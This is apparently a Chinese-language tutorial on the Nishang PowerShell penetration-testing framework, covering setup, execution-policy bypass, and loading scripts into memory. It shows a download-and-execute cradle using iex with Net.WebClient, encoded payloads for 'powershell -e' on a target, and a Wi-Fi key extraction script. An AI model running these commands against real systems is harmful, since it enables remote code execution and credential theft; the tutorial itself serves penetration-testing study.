Powershell渗透测试工具-Nishang
Nishang是一个针对Powershell的渗透测试工具,集成了框架、脚本和各种Payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本。
Nishang安装
首先我们需要去到Github上下载Nishang,直接从Releases下载即可。下载下来后解压我们得到一个文件夹。
目录
这文件夹代表了Nishang的不同模块
在渗透测试中,这些工具往往我们需要提取出来使用,而不是一整个贴到被渗透服务器中,因此需要我们对Nishang的目录结构有所了解。
Bypass执行策略
Powershell的默认执行策略是Restricted的,而Restricted是不允许任何脚本运行的。因此我们需要一些手段去Bypass执行策略。Bypass执行策略的十五种方法可以参考这篇https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/。
从别人那参考来的三个常用的方式:
1 | 0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,更改了当前的全局策略 |
在我们本机环境中,我们可以改变全局执行策略,以执行其他用户编写的ps脚本
1 | set-executionpolicy remotesigned |
然后我们就可以导入nishang模块了
接下来我们可以用下面命令来验证
1 | Get-Command -Module nishang |
可以看到已经成功导入了。在之后的使用中,我们可以使用”Get-Help”命令来获取当前脚本的用法和说明等
1 | Get-Help Get-Wlan-Keys |
内存中加载脚本
第一种是通过远程下载的方式
1 | powershell iex (New-Object Net.WebClient).DownloadString('url'); |
iex可以远程下载我们的脚本,并将其执行。
*iex:invove-expression
第二种是使用Invoke-Encode脚本来将我们现有的脚本编码压缩,生成编码后的内容
1 | Invoke-Encode -DataToEncode "file" -OutCommand |
然后在目标上可以使用如下命令执行:
1 | powershell -e [encodedscript] |